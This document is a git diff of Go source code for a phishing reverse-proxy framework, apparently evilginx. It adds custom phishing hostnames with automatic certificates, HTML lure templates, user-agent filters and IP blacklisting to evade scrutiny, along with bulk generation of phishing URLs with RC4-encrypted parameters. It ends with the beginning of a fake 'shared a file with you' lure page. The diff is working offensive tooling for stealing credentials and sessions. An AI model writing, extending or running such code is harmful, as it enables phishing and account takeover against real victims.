host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`)
if !host_re.MatchString(val) {
return fmt.Errorf("edit: invalid hostname")
}
err = t.updateHostCertificate(val)
if err != nil {
return err
}
l.Hostname = val
t.cfg.refreshActiveHostnames()
} else {
l.Hostname = ""
}
do_update = true
log.Info("hostname = '%s'", l.Hostname)
case "path":
if val != "" {
u, err := url.Parse(val)
@ -611,21 +845,36 @@ func (t *Terminal) handleLures(args []string) error {
}
do_update = true
log.Info("og_url = '%s'", l.OgUrl)
case "params":
sp := strings.Index(val, "=")
if sp == -1 {
return fmt.Errorf("edit: to set a custom parameter, use format 'key=value' or 'key=' if you want to remove a custom parameter")
case "template":
if val != "" {
path := val
if !filepath.IsAbs(val) {
templates_dir := t.cfg.GetTemplatesDir()
path = filepath.Join(templates_dir, val)
}
k := val[:sp]
v := val[sp+1:]
if v != "" {
l.Params[k] = v
log.Info("params: '%s' = '%s'", k, v)
if _, err := os.Stat(path); !os.IsNotExist(err) {
l.Template = val
} else {
delete(l.Params, k)
log.Info("params: deleted '%s'", k)
return fmt.Errorf("edit: template file does not exist: %s", path)
}
} else {
l.Template = ""
}
do_update = true
log.Info("template = '%s'", l.Template)
case "ua_filter":
if val != "" {
if _, err := regexp.Compile(val); err != nil {
return err
}
l.UserAgentFilter = val
} else {
l.UserAgentFilter = ""
}
do_update = true
log.Info("ua_filter = '%s'", l.UserAgentFilter)
}
if do_update {
err := t.cfg.SetLure(l_id, l)
@ -700,18 +949,10 @@ func (t *Terminal) handleLures(args []string) error {
return err
}
keys := []string{"phishlet", "path", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
vals := []string{hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
keys := []string{"phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
log.Printf("\n%s\n", AsRows(keys, vals))
if len(l.Params) > 0 {
var ckeys []string = []string{"key", "value"}
var cvals [][]string
for k, v := range l.Params {
cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
}
log.Printf("custom parameters:\n%s\n", AsTable(ckeys, cvals))
}
return nil
}
}
@ -731,6 +972,17 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("config", []string{"verification_token"}, "verification_token <token>", "change the value of the verification token (phishing urls will need to be regenerated)")
h.AddSubCommand("config", []string{"redirect_url"}, "redirect_url <url>", "change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)")
h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
readline.PcItem("proxy", readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("type"), readline.PcItem("address"), readline.PcItem("port"), readline.PcItem("username"), readline.PcItem("password")))
h.AddSubCommand("proxy", nil, "", "show all configuration variables")
h.AddSubCommand("proxy", []string{"enable"}, "enable", "enable proxy")
h.AddSubCommand("proxy", []string{"disable"}, "disable", "disable proxy")
h.AddSubCommand("proxy", []string{"type"}, "type <type>", "set proxy type: http (default), https, socks5, socks5h")
h.AddSubCommand("proxy", []string{"address"}, "address <address>", "set proxy address")
h.AddSubCommand("proxy", []string{"port"}, "port <port>", "set proxy port")
h.AddSubCommand("proxy", []string{"username"}, "username <username>", "set proxy authentication username")
h.AddSubCommand("proxy", []string{"password"}, "password <password>", "set proxy authentication password")
h.AddCommand("phishlets", "general", "manage phishlets configuration", "Shows status of all available phishlets and allows to change their parameters and enabled status.", LAYER_TOP,
readline.PcItem("phishlets", readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
@ -752,24 +1004,39 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
/* readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
readline.PcItem("edit", readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("template", readline.PcItemDynamic(t.emptyPrefixCompleter, readline.PcItemDynamic(t.templatesPrefixCompleter)))),
readline.PcItem("delete", readline.PcItem("all"))))*/
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
readline.PcItem("edit", readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params")),
readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("template", readline.PcItemDynamic(t.templatesPrefixCompleter)))),
readline.PcItem("delete", readline.PcItem("all"))))
h.AddSubCommand("lures", nil, "", "show all created lures")
h.AddSubCommand("lures", nil, "", "show all create lures")
h.AddSubCommand("lures", nil, "<id>", "show details of a lure with a given <id>")
h.AddSubCommand("lures", []string{"create"}, "create <phishlet>", "creates new lure for given <phishlet>")
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id>", "get the URL for lure with given <id>")
h.AddSubCommand("lures", []string{"delete"}, "delete <id>", "deletes lure with given <id>")
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
h.AddSubCommand("lures", []string{"edit", "path"}, "edit path <id> <path>", "sets custom url <path> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url <id> <redirect_url>", "sets redirect url that user will be navigated to after successful authorization, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet <id> <phishlet>", "changes the phishlet for the lure with a given <id> applies to")
h.AddSubCommand("lures", []string{"edit", "info"}, "edit info <id> <info>", "sets a custom description for lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit og_title <id> <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit og_desc <id> <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit og_image <id> <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit og_url <id> <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "params"}, "edit params <id> <key=value>", "adds, edits or removes custom parameters (used in javascript injections), for a lure with a given <id>")
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> <key1=value1> <key2=value2>", "generates a phishing url for a lure with a given <id>, with optional parameters")
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> import <params_file> export <urls_file> <text|csv|json>", "generates phishing urls, importing parameters from <import_path> file and exporting them to <export_path>")
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit <id> hostname <hostname>", "sets custom phishing <hostname> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "path"}, "edit <id> path <path>", "sets custom url <path> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "template"}, "edit <id> template <path>", "sets an html template <path> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "ua_filter"}, "edit <id> ua_filter <regexp>", "sets a regular expression user-agent whitelist filter <regexp> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit <id> redirect_url <redirect_url>", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit <id> phishlet <phishlet>", "change the phishlet, the lure with a given <id> applies to")
h.AddSubCommand("lures", []string{"edit", "info"}, "edit <id> info <info>", "set personal information to describe a lure with a given <id> (display only)")
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit <id> og_title <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit <id> og_des <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit <id> og_image <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit <id> og_url <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
h.AddCommand("blacklist", "general", "manage automatic blacklisting of requesting ip addresses", "Select what kind of requests should result in requesting IP addresses to be blacklisted.", LAYER_TOP,
readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("off")))
h.AddSubCommand("blacklist", nil, "", "show current blacklisting mode")
h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)")
h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests")
h.AddSubCommand("blacklist", []string{"off"}, "off", "never add any ip addresses to blacklist")
h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
readline.PcItem("clear"))
@ -825,7 +1092,7 @@ func (t *Terminal) checkStatus() {
}
}
func (t *Terminal) updateCertificates(site string) {
func (t *Terminal) updatePhishletCertificates(site string) {
for _, s := range t.cfg.GetEnabledSites() {
if site == "" || s == site {
pl, err := t.cfg.GetPhishlet(s)
@ -837,7 +1104,7 @@ func (t *Terminal) updateCertificates(site string) {
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for phishlet '%s'", s)
} else {
log.Info("setting up certificates for phishlet '%s'...", s)
err = t.crt_db.SetupCertificate(s, pl.GetPhishHosts())
err = t.crt_db.SetupPhishletCertificate(s, pl.GetPhishHosts())
if err != nil {
log.Fatal("%v", err)
t.cfg.SetSiteDisabled(s)
@ -849,6 +1116,38 @@ func (t *Terminal) updateCertificates(site string) {
}
}
func (t *Terminal) updateLuresCertificates() {
for n, l := range t.cfg.lures {
if l.Hostname != "" {
err := t.updateHostCertificate(l.Hostname)
if err != nil {
log.Info("clearing hostname for lure %d", n)
l.Hostname = ""
err := t.cfg.SetLure(n, l)
if err != nil {
log.Error("edit: %v", err)
}
}
}
}
}
func (t *Terminal) updateHostCertificate(hostname string) error {
if t.developer {
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for hostname '%s'", hostname)
} else {
log.Info("setting up certificates for hostname '%s'...", hostname)
err := t.crt_db.SetupHostnameCertificate(hostname)
if err != nil {
return err
} else {
log.Success("successfully set up SSL/TLS certificates for hostname: %s", hostname)
}
}
return nil
}
func (t *Terminal) sprintPhishletStatus(site string) string {
higreen := color.New(color.FgHiGreen)
hired := color.New(color.FgHiRed)
@ -884,13 +1183,15 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
func (t *Terminal) sprintLures() string {
higreen := color.New(color.FgHiGreen)
green := color.New(color.FgGreen)
//hired := color.New(color.FgHiRed)
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
hiwhite := color.New(color.FgHiWhite)
cyan := color.New(color.FgCyan)
hcyan := color.New(color.FgHiCyan)
white := color.New(color.FgHiWhite)
//n := 0
cols := []string{"id", "phishlet", "path", "redirect_url", "og", "params", "info"}
cols := []string{"id", "phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "og"}
var rows [][]string
for n, l := range t.cfg.lures {
var og string
@ -914,11 +1215,7 @@ func (t *Terminal) sprintLures() string {
} else {
og += "-"
}
params := "0"
if len(l.Params) > 0 {
params = hiwhite.Sprint(strconv.Itoa(len(l.Params)))
}
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), og, params, l.Info})
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})
}
return AsTable(cols, rows)
}
@ -927,6 +1224,311 @@ func (t *Terminal) phishletPrefixCompleter(args string) []string {
return t.cfg.GetPhishletNames()
}
func (t *Terminal) templatesPrefixCompleter(args string) []string {
dir := t.cfg.GetTemplatesDir()
files, err := ioutil.ReadDir(dir)
if err != nil {
return []string{}
}
var ret []string
for _, f := range files {
if strings.HasSuffix(f.Name(), ".html") || strings.HasSuffix(f.Name(), ".htm") {
name := f.Name()
if strings.Contains(name, " ") {
name = "\"" + name + "\""
}
ret = append(ret, name)
}
}
return ret
}
func (t *Terminal) luresIdPrefixCompleter(args string) []string {
var ret []string
for n, _ := range t.cfg.lures {
ret = append(ret, strconv.Itoa(n))
}
return ret
}
func (t *Terminal) importParamsFromFile(base_url string, path string) ([]string, []map[string]string, error) {
var ret []string
var ret_params []map[string]string
f, err := os.OpenFile(path, os.O_RDONLY, 0644)
if err != nil {
return ret, ret_params, err
}
defer f.Close()
var format string = "text"
if filepath.Ext(path) == ".csv" {
format = "csv"
} else if filepath.Ext(path) == ".json" {
format = "json"
}
log.Info("importing parameters file as: %s", format)
switch format {
case "text":
fs := bufio.NewScanner(f)
fs.Split(bufio.ScanLines)
n := 0
for fs.Scan() {
n += 1
l := fs.Text()
// remove comments
if n := strings.Index(l, ";"); n > -1 {
l = l[:n]
}
l = strings.Trim(l, " ")
if len(l) > 0 {
args, err := parser.Parse(l)
if err != nil {
log.Error("syntax error at line %d: [%s] %v", n, l, err)
continue
}
params := url.Values{}
map_params := make(map[string]string)
for _, val := range args {
sp := strings.Index(val, "=")
if sp == -1 {
log.Error("invalid parameter syntax at line %d: [%s]", n, val)
continue
}
k := val[:sp]
v := val[sp+1:]
params.Add(k, v)
map_params[k] = v
}
if len(params) > 0 {
ret = append(ret, t.createPhishUrl(base_url, &params))
ret_params = append(ret_params, map_params)
}
}
}
case "csv":
r := csv.NewReader(bufio.NewReader(f))
param_names, err := r.Read()
if err != nil {
return ret, ret_params, err
}
var params []string
for params, err = r.Read(); err == nil; params, err = r.Read() {
if len(params) != len(param_names) {
log.Error("number of csv values do not match number of keys: %v", params)
continue
}
item := url.Values{}
map_params := make(map[string]string)
for n, param := range params {
item.Add(param_names[n], param)
map_params[param_names[n]] = param
}
if len(item) > 0 {
ret = append(ret, t.createPhishUrl(base_url, &item))
ret_params = append(ret_params, map_params)
}
}
if err != io.EOF {
return ret, ret_params, err
}
case "json":
data, err := ioutil.ReadAll(bufio.NewReader(f))
if err != nil {
return ret, ret_params, err
}
var params_json []map[string]interface{}
err = json.Unmarshal(data, &params_json)
if err != nil {
return ret, ret_params, err
}
for _, json_params := range params_json {
item := url.Values{}
map_params := make(map[string]string)
for k, v := range json_params {
if val, ok := v.(string); ok {
item.Add(k, val)
map_params[k] = val
} else {
log.Error("json parameter '%s' value must be of type string", k)
}
}
if len(item) > 0 {
ret = append(ret, t.createPhishUrl(base_url, &item))
ret_params = append(ret_params, map_params)
}
}
/*
r := json.NewDecoder(bufio.NewReader(f))
t, err := r.Token()
if err != nil {
return ret, ret_params, err
}
if s, ok := t.(string); ok && s == "[" {
for r.More() {
t, err := r.Token()
if err != nil {
return ret, ret_params, err
}
if s, ok := t.(string); ok && s == "{" {
for r.More() {
t, err := r.Token()
if err != nil {
return ret, ret_params, err
}
}
}
}
} else {
return ret, ret_params, fmt.Errorf("array of parameters not found")
}*/
}
return ret, ret_params, nil
}
func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phish_params []map[string]string, format string) error {
if len(phish_urls) != len(phish_params) {
return fmt.Errorf("phishing urls and phishing parameters count do not match")
}
if !stringExists(format, []string{"text", "csv", "json"}) {
return fmt.Errorf("export format can only be 'text', 'csv' or 'json'")
}
f, err := os.OpenFile(export_path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
defer f.Close()
if format == "text" {
for n, phish_url := range phish_urls {
var params string
m := 0
params_row := phish_params[n]
for k, v := range params_row {
if m > 0 {
params += " "
}
params += fmt.Sprintf("%s=\"%s\"", k, v)
m += 1
}
_, err := f.WriteString(phish_url + " ; " + params + "\n")
if err != nil {
return err
}
}
} else if format == "csv" {
var data [][]string
w := csv.NewWriter(bufio.NewWriter(f))
var cols []string
var param_names []string
cols = append(cols, "url")
for _, params_row := range phish_params {
for k, _ := range params_row {
if !stringExists(k, param_names) {
cols = append(cols, k)
param_names = append(param_names, k)
}
}
}
data = append(data, cols)
for n, phish_url := range phish_urls {
params := phish_params[n]
var vals []string
vals = append(vals, phish_url)
for _, k := range param_names {
vals = append(vals, params[k])
}
data = append(data, vals)
}
err := w.WriteAll(data)
if err != nil {
return err
}
} else if format == "json" {
type UrlItem struct {
PhishUrl string `json:"url"`
Params map[string]string `json:"params"`
}
var items []UrlItem
for n, phish_url := range phish_urls {
params := phish_params[n]
item := UrlItem{
PhishUrl: phish_url,
Params: params,
}
items = append(items, item)
}
data, err := json.MarshalIndent(items, "", "\t")
if err != nil {
return err
}
_, err = f.WriteString(string(data))
if err != nil {
return err
}
}
return nil
}
func (t *Terminal) createPhishUrl(base_url string, params *url.Values) string {
var ret string = base_url
if len(*params) > 0 {
key_arg := GenRandomString(rand.Intn(3) + 1)
enc_key := GenRandomAlphanumString(8)
dec_params := params.Encode()
var crc byte
for _, c := range dec_params {
crc += byte(c)
}
c, _ := rc4.NewCipher([]byte(enc_key))
enc_params := make([]byte, len(dec_params)+1)
c.XORKeyStream(enc_params[1:], []byte(dec_params))
enc_params[0] = crc
key_val := enc_key + base64.RawURLEncoding.EncodeToString([]byte(enc_params))
ret += "?" + key_arg + "=" + key_val
}
return ret
}
func (t *Terminal) sprintVar(k string, v string) string {
vc := color.New(color.FgYellow)
return k + ": " + vc.Sprint(v)

View File

@ -26,6 +26,17 @@ func GenRandomString(n int) string {
return string(b)
}
func GenRandomAlphanumString(n int) string {
const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, n)
for i := range b {
t := make([]byte, 1)
rand.Read(t)
b[i] = lb[int(t[0])%len(lb)]
}
return string(b)
}
func CreateDir(path string, perm os.FileMode) error {
if _, err := os.Stat(path); os.IsNotExist(err) {
err = os.Mkdir(path, perm)

2
go.mod
View File

@ -13,6 +13,7 @@ require (
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
github.com/mattn/go-colorable v0.1.4 // indirect
github.com/miekg/dns v1.1.22
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8
github.com/spf13/viper v1.4.0
github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 // indirect
github.com/tidwall/buntdb v1.1.0
@ -20,4 +21,5 @@ require (
github.com/tidwall/grect v0.0.0-20161006141115-ba9a043346eb // indirect
github.com/tidwall/rtree v0.0.0-20180113144539-6cd427091e0e // indirect
github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563 // indirect
golang.org/x/net v0.0.0-20200707034311-ab3426394381
)

9
go.sum
View File

@ -95,6 +95,7 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
@ -177,6 +178,8 @@ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJ
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8 h1:BhQQWYKJwXPtAhm12d4gQU4LKS9Yov22yOrDc2QA7ho=
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8/go.mod h1:ntWhh7pzdiiRKBMxUB5iG+Q2gmZBxGxpX1KyK6N8kX8=
github.com/namedotcom/go v0.0.0-20180403034216-08470befbe04/go.mod h1:5sN+Lt1CaY4wsPvgQH/jsuJi4XO2ssZbdsIizr4CVC8=
github.com/nbio/st v0.0.0-20140626010706-e9e8d9816f32/go.mod h1:9wM+0iRr9ahx58uYLpLIr5fm8diHn0JbqRycJi6w0Ms=
github.com/nrdcg/auroradns v1.0.0/go.mod h1:6JPXKzIRzZzMqtTDgueIhTi6rFf1QvYE/HzqidhOhjw=
@ -292,6 +295,8 @@ golang.org/x/crypto v0.0.0-20190418165655-df01cb2cc480/go.mod h1:WFFai1msRO1wXaE
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392 h1:ACG4HJsFiNMf47Y4PeRoebLNy/2lXT9EtprMuTFWt1M=
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
@ -316,6 +321,8 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190930134127-c5a3c61f89f3 h1:6KET3Sqa7fkVfD63QnAM81ZeYg5n4HwApOJkufONnHA=
golang.org/x/net v0.0.0-20190930134127-c5a3c61f89f3/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200707034311-ab3426394381 h1:VXak5I6aEWmAXeQjA+QSZzlgNrpq9mjcfDemuexIKsU=
golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@ -343,6 +350,8 @@ golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe h1:6fAMxZRR6sl1Uq8U61gxU+kPTs2tR8uOySCbBP7BN/M=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd h1:xhmwyvizuTgC2qz7ZlMluP20uW+C3Rm0FD/WLDX8884=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=

25
main.go
View File

@ -14,6 +14,7 @@ import (
)
var phishlets_dir = flag.String("p", "", "Phishlets directory path")
var templates_dir = flag.String("t", "", "HTML templates directory path")
var debug_log = flag.Bool("debug", false, "Enable debug output")
var developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
var cfg_dir = flag.String("c", "", "Configuration directory path")
@ -44,10 +45,23 @@ func main() {
}
}
}
if *templates_dir == "" {
*templates_dir = joinPath(exe_dir, "./templates")
if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
*templates_dir = "/usr/share/evilginx/templates/"
if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
*templates_dir = joinPath(exe_dir, "./templates")
}
}
}
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
log.Fatal("provided phishlets directory path does not exist: %s", *phishlets_dir)
return
}
if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
os.MkdirAll(*templates_dir, os.FileMode(0700))
}
log.DebugEnable(*debug_log)
if *debug_log {
log.Info("debug output enabled")
@ -86,6 +100,7 @@ func main() {
log.Fatal("config: %v", err)
return
}
cfg.SetTemplatesDir(*templates_dir)
db, err := database.NewDatabase(filepath.Join(*cfg_dir, "data.db"))
if err != nil {
@ -93,6 +108,12 @@ func main() {
return
}
bl, err := core.NewBlacklist(filepath.Join(*cfg_dir, "blacklist.txt"))
if err != nil {
log.Error("blacklist: %s", err)
return
}
files, err := ioutil.ReadDir(phishlets_path)
if err != nil {
log.Fatal("failed to list phishlets directory '%s': %v", phishlets_path, err)
@ -129,10 +150,10 @@ func main() {
return
}
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, *developer_mode)
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, bl, *developer_mode)
hp.Start()
t, err := core.NewTerminal(cfg, crt_db, db, *developer_mode)
t, err := core.NewTerminal(hp, cfg, crt_db, db, *developer_mode)
if err != nil {
log.Fatal("%v", err)
return

View File

@ -0,0 +1,61 @@
<!doctype html>
<html lang="en">
<head>
<title>{from_name} shared a file with you (1)</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
<style>
body {
background-color: #666;
}
#box {
position: absolute;
top: 50%;
left: 50%;
text-align: center;
background-color: #fff;
